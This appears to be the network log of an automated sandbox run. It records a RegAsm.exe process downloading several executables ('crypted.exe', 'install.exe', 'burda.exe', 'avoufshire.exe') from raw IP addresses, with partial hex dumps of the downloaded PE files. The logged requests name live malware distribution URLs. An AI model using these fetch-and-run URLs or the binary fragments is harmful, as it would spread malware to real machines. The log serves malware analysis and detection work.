Sep 11, 2024 16:22:17.357707977 CEST	1236	IN	Data Raw: d0 48 8b c8 ff 15 01 c0 06 00 48 85 c0 75 38 48 89 6c 24 30 0f 57 c0 f3 0f 7f 44 24 40 48 8d 0d c3 66 04 00 e8 66 56 03 00 4c 8b c0 48 8d 15 b4 66 04 00 48 8d 4c 24 30 e8 72 ef ff ff 48 8d 74 24 30 8d 5d 01 eb 15 48 8b d0 48 8d 4c 24 50 e8 b7 00 Data Ascii: HHu8Hl$0WD$@HffVLHfHL$0rHt$0]HHL$PHH/HoHoA HHHnHFf.tHL$Pt>HT$HHr3HUHL$0HHrH'HIH+HHw(?HHL$pH3CH
Sep 11, 2024 16:22:17.357717991 CEST	1236	IN	Data Raw: ff ff ff ff ff ff 7f 48 3b c3 0f 84 ca 00 00 00 4c 8d 60 01 48 8b 49 10 48 2b 0e 48 8b d1 48 d1 ea 48 8b c3 48 2b c2 48 3b c8 76 07 48 89 5c 24 68 eb 1c 48 8d 04 0a 49 8b dc 49 3b c4 48 0f 43 d8 48 89 5c 24 68 48 81 fb 00 10 00 00 72 12 48 8b cb Data Ascii: H;L`HIH+HHHH+H;vH\$hHII;HCH\$hHrHHHHD$x#3HtHHHD$xH\|$xH\$hLAEAHVHLL;tIMFHVILMHH8IH A_A^A]A\_^[xH\$WHH
Sep 11, 2024 16:22:17.357729912 CEST	1236	IN	Data Raw: 48 8d 8f a0 14 00 00 e8 ff f2 ff ff 48 8b 97 38 14 00 00 48 83 fa 10 72 34 48 8b 8f 20 14 00 00 48 ff c2 48 81 fa 00 10 00 00 72 1c 48 83 c2 27 4c 8b 41 f8 49 2b c8 48 8d 41 f8 48 83 f8 1f 0f 87 9d 00 00 00 49 8b c8 e8 2a f5 02 00 48 83 a7 30 14 Data Ascii: HH8Hr4H HHrH'LAI+HAHI*H0H8 H H\|H H@`ZHLA!LPDBHOhHH\$0H _KH\$Ht
Sep 11, 2024 16:22:17.357805967 CEST	1224	IN	Data Raw: 01 00 48 8d 4b 30 bf 20 00 00 00 8b d7 e8 f5 89 01 00 48 8d 4b 50 8d 57 e4 e8 e9 89 01 00 48 8d 4b 54 8b d7 e8 de 89 01 00 48 8d 4b 74 8b d7 e8 d3 89 01 00 48 8b cb 48 8b 5c 24 30 48 83 c4 20 5f e9 35 86 01 00 cc 48 83 c1 48 e9 e7 ed ff ff cc cc Data Ascii: HK0 HKPWHKTHKtHH\$0H _5HH@SH HQHHHr-HI0HHrLAH'I+HAHwIHc@HCHC0H [FH\$WH H tHH\$0HH _@SH H
Sep 11, 2024 16:22:17.358486891 CEST	1236	IN	Data Raw: 48 81 fe 00 10 00 00 72 1c 48 83 c6 27 48 8b 4b f8 48 2b d9 48 8d 43 f8 48 83 f8 1f 0f 87 39 02 00 00 48 8b d9 48 8b d6 48 8b cb e8 ab eb 02 00 44 8a b4 24 88 00 00 00 8b 87 50 14 00 00 83 f8 04 75 0e 48 8d 57 40 8d 48 39 e8 24 f2 ff ff eb 8d 83 Data Ascii: HrH'HKH+HCH9HHHD$PuHW@H9$u5HHAHHH@qN_D8;VhAH+3H@Ht5HE3HHHH@ %NtD8tuitED8
Sep 11, 2024 16:22:17.358499050 CEST	1236	IN	Data Raw: 00 f3 0f 7f 44 24 30 66 89 54 24 20 48 8d 54 24 20 e8 5d f8 ff ff 90 48 8b 54 24 38 48 83 fa 08 72 33 48 8d 14 55 02 00 00 00 48 8b 4c 24 20 48 8b c1 48 81 fa 00 10 00 00 72 15 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 17 e8 b2 Data Ascii: D$0fT$ HT$ ]HT$8Hr3HUHL$ HHrH'HIH+HHwHL$@H3HX=@SH H&u203HPu HS@:HHH@bIH [H\$Hl$Ht$WH HIHIHHt-HSH+Hr
Sep 11, 2024 16:22:22.435159922 CEST	221	OUT	GET /yuop/66e19745cc64e_crypted.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:22.619604111 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:22 GMT Content-Type: application/octet-stream Content-Length: 320000 Last-Modified: Wed, 11 Sep 2024 13:12:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e19745-4e200" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4c 7d e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d8 04 00 00 08 00 00 00 00 00 00 5e f7 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 f7 04 00 4b 00 00 00 00 00 05 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 d8 f5 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL}f^ @ @`K H.textd `.rsrc@@.reloc @B@Hhp:JLr[nz98&\RLo&2sn(ROKjeH,*p?Y=SHcms]2&NIs0Tq~=g&6c-fO9VbjC](4_EiVv6RU,S`T+hhJwIj+`P G {eiCV%g({.]n3]Rj7t<7GcDXmqnML:s5^/OW&+j[=V-[\|b AkE0cI\9$=Nav
Sep 11, 2024 16:22:22.797228098 CEST	233	OUT	GET /lopsa/66dc99a997229_VirtualLibrary.exe#front HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 11, 2024 16:22:22.979702950 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:22 GMT Content-Type: application/octet-stream Content-Length: 21402624 Last-Modified: Sat, 07 Sep 2024 18:21:29 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66dc99a9-1469400" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 3e 46 01 00 00 00 00 e0 00 02 01 0b 01 03 00 00 7a 65 00 00 c2 07 00 00 00 00 00 90 f6 06 00 00 10 00 00 00 10 36 01 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 80 4b 01 00 04 00 00 24 aa 46 01 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 30 42 01 5e 04 00 00 00 20 4b 01 2f 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 42 01 a4 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL>Fze6@K$F@0B^ K/S@B46.textHyeze `.rdatat\|e~~e@@.data6n5@.idata^0Bj=@.reloc@Bp=@B.symtabK>FB.rsrc/S KT@F@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49736	176.113.115.33	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.671778917 CEST	206	OUT	HEAD /ssl/install.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 11, 2024 16:22:16.474098921 CEST	353	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 3456914 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=install.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public
Sep 11, 2024 16:22:16.474675894 CEST	205	OUT	GET /ssl/install.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 11, 2024 16:22:16.811964035 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 3456914 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=install.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 9e 00 00 00 46 00 00 00 00 00 00 f8 a5 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@P,CODE0 `DATAP@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P
Sep 11, 2024 16:22:16.812129021 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: string<@m@)@(@(@)@$)@Free0)@Ini
Sep 11, 2024 16:22:16.812141895 CEST	1236	IN	Data Raw: 74 49 6e 73 74 61 6e 63 65 16 00 4c 29 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 10 00 68 28 40 00 09 43 6c 61 73 73 54 79 70 65 10 00 6c 28 40 00 09 43 6c 61 73 73 4e 61 6d 65 12 00 80 28 40 00 0b 43 6c 61 73 73 4e 61 6d 65 49 73 12 Data Ascii: tInstanceL)@CleanupInstanceh(@ClassTypel(@ClassName(@ClassNameIs(@ClassParent)@ClassInfo(@InstanceSize)@InheritsFrom)@Dispatch)@MethodAddress<@MethodNamex@FieldAddress)@DefaultHandl
Sep 11, 2024 16:22:16.812153101 CEST	1236	IN	Data Raw: 0c 8b e8 8b 04 24 03 c5 89 44 24 10 8b 1d 3c c4 40 00 eb 51 8b 3b 8b 73 08 3b ee 77 46 8b c6 03 43 0c 3b 44 24 10 77 3b 3b 74 24 08 73 04 89 74 24 08 8b c6 03 43 0c 3b 44 24 0c 76 04 89 44 24 0c 68 00 80 00 00 6a 00 56 e8 ef fc ff ff 85 c0 75 0a Data Ascii: $D$<@Q;s;wFC;D$w;;t$st$C;D$vD$hjVu@<@uD$3\|$tD$T$D$+D$T$B]_^[SVWUL$$$T$D$(D$+T$B5<@<^~;v;\|
Sep 11, 2024 16:22:16.812165022 CEST	1236	IN	Data Raw: 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 66 f8 ff ff c6 05 15 c4 40 00 00 a1 74 c4 40 00 50 e8 34 f8 ff ff 33 c0 a3 74 c4 40 00 8b 1d 3c c4 40 00 eb 12 68 00 80 00 00 6a 00 8b 43 08 50 e8 25 f8 ff ff 8b 1b 81 fb 3c c4 40 00 75 e6 b8 3c c4 40 Data Ascii: =2@th@f@t@P43t@<@hjCP%<@u<@L@x@u4@t4@P4@udh@=2@th@h@C[]S;h@uPh@PH*;ut@3
Sep 11, 2024 16:22:16.812176943 CEST	1236	IN	Data Raw: d2 75 08 40 3d 01 04 00 00 75 ea 8b c2 c3 8d 40 00 53 56 57 55 8b f0 bf 68 c4 40 00 bd 6c c4 40 00 8b 1d 60 c4 40 00 3b 73 08 0f 8e 84 00 00 00 8b 1f 8b 43 08 3b f0 7e 7b 89 73 08 8b 5b 04 3b 73 08 7f f8 8b 17 89 42 08 3b 1f 74 04 89 1f eb 63 81 Data Ascii: u@=u@SVWUh@l@`@;sC;~{s[;sB;tcuNu3;u)u}}u3Ep@5p@@5@L6S+\|`;uC
Sep 11, 2024 16:22:16.812191010 CEST	1236	IN	Data Raw: c3 83 c0 04 e8 c8 f7 ff ff e9 fe 00 00 00 8b f7 e9 f7 00 00 00 8b c6 2b c7 89 44 24 04 3b 1d 70 c4 40 00 75 67 a1 6c c4 40 00 3b 44 24 04 7c 53 8b 44 24 04 29 05 6c c4 40 00 8b 44 24 04 01 05 70 c4 40 00 83 3d 6c c4 40 00 0c 7d 18 a1 6c c4 40 00 Data Ascii: +D$;p@ugl@;D$\|SD$)l@D$p@=l@}l@p@5l@3l@+@E%uUuMH$$;L$s$$)D$,fD$)$<$\|$:4$#.t!%T$
Sep 11, 2024 16:22:16.812278986 CEST	1236	IN	Data Raw: 41 f3 a4 5f 5e c3 8d 40 00 53 31 db 09 d2 74 1c 8b 40 e4 31 c9 8a 08 3b 4a fc 75 10 4a 8a 3c 08 32 3c 0a 80 e7 df 75 04 49 75 f2 43 88 d8 5b c3 90 8b 40 ec c3 57 50 8b 40 e8 e8 de fc ff ff 89 c7 89 c2 58 ab 8b 48 e8 31 c0 51 c1 e9 02 49 f3 ab 59 Data Ascii: A_^@S1t@1;JuJ<2<uIuC[@WP@XH1QIY_SV0Vvtku^[@ttdttQWH1QIY_SV0Vvtu^[
Sep 11, 2024 16:22:16.812293053 CEST	776	IN	Data Raw: 85 ff 75 d4 83 c6 08 4b 75 c6 5d 5f 5e 5b e9 96 00 00 00 8b 44 24 14 81 38 ce fa ed 0e 8b 50 18 8b 48 14 74 18 ff 15 0c c0 40 00 8b 54 24 1c e8 a9 fd ff ff 89 c2 8b 44 24 14 8b 48 0c 31 db 64 8b 1b 53 50 52 51 8b 54 24 28 83 48 04 02 56 6a 00 50 Data Ascii: uKu]_^[D$8PHt@T$D$H1dSPRQT$(HVjPh-@R$[\|$(oG-@D$c#vA0D$T$@tJB,.@SVWUj~]_^[U1hd.@d
Sep 11, 2024 16:22:16.812462091 CEST	1236	IN	Data Raw: 00 85 d2 0f 84 1c ff ff ff 89 d8 ff d2 85 c0 0f 84 10 ff ff ff 8b 53 0c e8 78 fb ff ff 8b 0d 00 c0 40 00 85 c9 74 02 ff d1 8b 4c 24 04 b8 d9 00 00 00 8b 51 14 89 14 24 e9 b1 0d 00 00 31 c0 c3 90 31 d2 8d 45 f4 64 8b 0a 64 89 02 89 08 c7 40 04 18 Data Ascii: Sx@tL$Q$11Edd@0@h@1@d9udt9u@j@@@4.@@S=@}!hj@ uS@P
Sep 11, 2024 16:22:16.812474966 CEST	1236	IN	Data Raw: d0 e8 27 fd ff ff 89 c7 8b 03 85 c0 74 10 89 fa 8b 48 fc 39 f1 7c 02 89 f1 e8 3f f1 ff ff 89 d8 e8 4c fc ff ff 89 3b 5f 5e 5b c3 8b c0 31 c9 53 8a 4a 01 56 57 89 c3 8d 74 0a 0a 8b 7c 0a 06 8b 46 04 8b 16 01 d8 e8 92 00 00 00 83 c6 08 4f 7f ee 5f Data Ascii: 'tH9\|?L;_^[1SJVWt\|FO_^[SVW1Vtt+t5tL_^[jH?O0U\.L.T.O]U\.XO]_^[nSVWU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	31.41.244.9	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.671917915 CEST	202	OUT	HEAD /doku/burda.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 31.41.244.9 Cache-Control: no-cache
Sep 11, 2024 16:22:16.364310026 CEST	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 1751040 Last-Modified: Wed, 11 Sep 2024 12:41:14 GMT Connection: keep-alive ETag: "66e18fea-1ab800" Accept-Ranges: bytes
Sep 11, 2024 16:22:16.364809036 CEST	201	OUT	GET /doku/burda.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 31.41.244.9 Cache-Control: no-cache
Sep 11, 2024 16:22:16.583858013 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 11 Sep 2024 14:22:16 GMT Content-Type: application/octet-stream Content-Length: 1751040 Last-Modified: Wed, 11 Sep 2024 12:41:14 GMT Connection: keep-alive ETag: "66e18fea-1ab800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0b 5a dc 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 b0 66 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 66 00 00 04 00 00 bd ad 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELZfB"f@f@P#d# #<@.rsrc #L@.idata #L@ P)$N@pymoaztePPMBP@gujgkxpjf@.taggant0f"@
Sep 11, 2024 16:22:16.583884954 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 11, 2024 16:22:16.583898067 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 11, 2024 16:22:16.583909988 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 11, 2024 16:22:16.583923101 CEST	896	IN	Data Raw: d5 9b d9 42 b8 cd 4f 39 40 7b 47 78 18 78 07 25 12 da c3 3d 2f 84 e5 17 33 a5 e2 99 27 a6 89 44 8e ce c8 a1 40 c8 24 b6 a2 48 c4 50 5f 2d 66 fc 6f 11 12 04 1e a9 f2 f9 71 f6 03 fd 9b a6 e6 42 4e d4 20 ec 51 22 12 60 ab 66 4d 47 20 e4 9b b0 9c f1 Data Ascii: BO9@{Gxx%=/3'D@$HP_-foqBN Q"`fMG ^QR`MW*J1bM2_tJ!vZ[=4\|sFJ6N%qhVtG0Zk,3ByksJeFW{WgrV];97BWQ\\|;U$Iy:Jqn~K
Sep 11, 2024 16:22:16.584093094 CEST	1236	IN	Data Raw: 20 98 69 b4 50 94 e2 e3 4c 2c 48 68 f6 32 32 c1 23 d4 97 38 3d 89 46 98 59 e1 49 3e 49 25 77 f5 55 d0 d8 d3 61 b3 19 f4 f5 d4 21 78 a6 70 93 81 b9 b7 1b f8 21 4f d0 b7 59 51 07 6d ce a4 61 60 91 ad 3f b6 1d c8 4b a3 18 1c 0a b8 75 f0 15 52 6a a5 Data Ascii: iPL,Hh22#8=FYI>I%wUa!xp!OYQma`?KuRj!8_ rSXl21q)c,FSB>8OplFO1QPQH<V.%cNuNp(?!{cSZSd:uSpn8_`vu
Sep 11, 2024 16:22:16.584162951 CEST	224	IN	Data Raw: 1d 68 02 49 05 10 09 ca 7f d4 8f 5c eb dd de 69 25 50 43 d6 26 b0 71 f8 84 f1 e5 37 26 c0 10 a1 d7 24 3f 42 1e 9c b5 49 2e e4 d2 7e d6 b0 f2 a6 79 ce da a7 1e c2 dd 47 60 58 a3 58 91 a5 03 c0 86 1a e6 63 db b8 26 cc 15 a5 75 74 11 fd 7d f8 59 86 Data Ascii: hI\i%PC&q7&$?BI.~yG`XXc&ut}Y&hT[KQ&EUYIw,a!T3-;&Fw{bO}5L&mI{l?~1X-O#FN,X@Va!p&Ew
Sep 11, 2024 16:22:16.584173918 CEST	1236	IN	Data Raw: cc a0 d5 fb a3 56 0e 49 1d e8 49 d6 f2 dc e3 61 79 9d 35 38 9a 1a e4 6f da 9c c8 97 89 14 46 74 81 fd dd fd 5f a5 4d 41 a1 94 1c be 31 5c 8a 5c 72 28 ca 48 b5 db d2 0b 43 87 56 72 48 8d 19 80 96 a2 c9 22 44 cb 83 53 19 21 76 b1 2b 53 c7 82 d7 19 Data Ascii: VIIay58oFt_MA1\\r(HCVrH"DS!v+SpJPu_X{XPMufy^v:~JI#RE<l\?Xt'Z~O-N),-O;goTMTP8&~@$%O{ JQ!9k>}
Sep 11, 2024 16:22:16.584192038 CEST	224	IN	Data Raw: 45 d4 f3 4b 51 b9 f1 d0 26 25 de 87 50 56 e3 73 4b ce e4 af 9f d0 23 a7 79 10 db af 2f f3 fa 6b 65 86 56 d1 26 30 ca 7d 9b 71 e8 74 35 40 db 71 d5 af f6 c0 99 14 9e 74 fd ae dd 68 79 a4 c5 73 3b a4 ac 42 10 c5 51 39 2d 48 ee d0 26 cc c9 19 54 9f Data Ascii: EKQ&%PVsK#y/keV&0}qt5@qthys;BQ9-H&Tw!R}5t?`^Metru8&X2jpPYN\G&(9-gOvPt&n&BM-cPUHL&4XcIf
Sep 11, 2024 16:22:16.584266901 CEST	1236	IN	Data Raw: 5a 38 cf b9 01 a5 c9 37 3d 1d 4e f8 e1 d6 9c 38 29 bc 55 5c 26 af 34 b9 61 59 db 42 49 d3 da f7 51 e6 32 c8 d9 c2 e7 50 3d ac da 76 4e 9f 5d fd 6f b2 f1 41 11 a5 e9 a0 f9 54 d4 33 4f ea c5 48 c9 ae d0 68 c1 94 d8 df aa 0d db 0b 16 82 08 41 31 04 Data Ascii: Z87=N8)U\&4aYBIQ2P=vN]oAT3OHhA1@>!?&P3P\RO&SUOQA&umn(`QX3S?KAB5qW/+T?Qu]8fI8JhuI4(]XYE]WQ
Sep 11, 2024 16:22:16.584383011 CEST	224	IN	Data Raw: f1 ce da 23 1f 41 de bf a4 a4 2f 34 4d 15 da 05 33 28 f4 48 2d fd 78 c4 39 a5 e2 63 1e 0f 8d f0 73 31 12 6c 26 d0 45 2b 2a c4 7c f9 21 d8 da 50 61 9d 12 f5 a5 55 0a 62 69 d0 25 52 45 c5 19 ac 10 56 2e 49 1d 04 4a 4f ef 58 8d 49 91 94 51 b4 54 92 Data Ascii: #A/4M3(H-x9cs1l&E+*\|!PaUbi%REV.IJOXIQT7T^t6% ]!@_irM}EtN.hI[\7L&Jtz\t}PTB/mXy0I=RKCXX+8?+fXCOM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	176.113.115.187	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.671991110 CEST	206	OUT	HEAD /avoufshire.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.187 Cache-Control: no-cache
Sep 11, 2024 16:22:16.368020058 CEST	253	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 10 Sep 2024 20:54:33 GMT ETag: "fe408-621ca1499d440" Accept-Ranges: bytes Content-Length: 1041416 Content-Type: application/x-msdos-program
Sep 11, 2024 16:22:16.372277021 CEST	205	OUT	GET /avoufshire.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.187 Cache-Control: no-cache
Sep 11, 2024 16:22:16.592061043 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 10 Sep 2024 20:54:33 GMT ETag: "fe408-621ca1499d440" Accept-Ranges: bytes Content-Length: 1041416 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 4b 5a 65 25 2a 34 36 25 2a 34 36 25 2a 34 36 2c 52 b7 36 26 2a 34 36 2c 52 a7 36 34 2a 34 36 25 2a 35 36 89 2a 34 36 3e b7 9e 36 2b 2a 34 36 3e b7 ae 36 24 2a 34 36 3e b7 a9 36 24 2a 34 36 52 69 63 68 25 2a 34 36 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 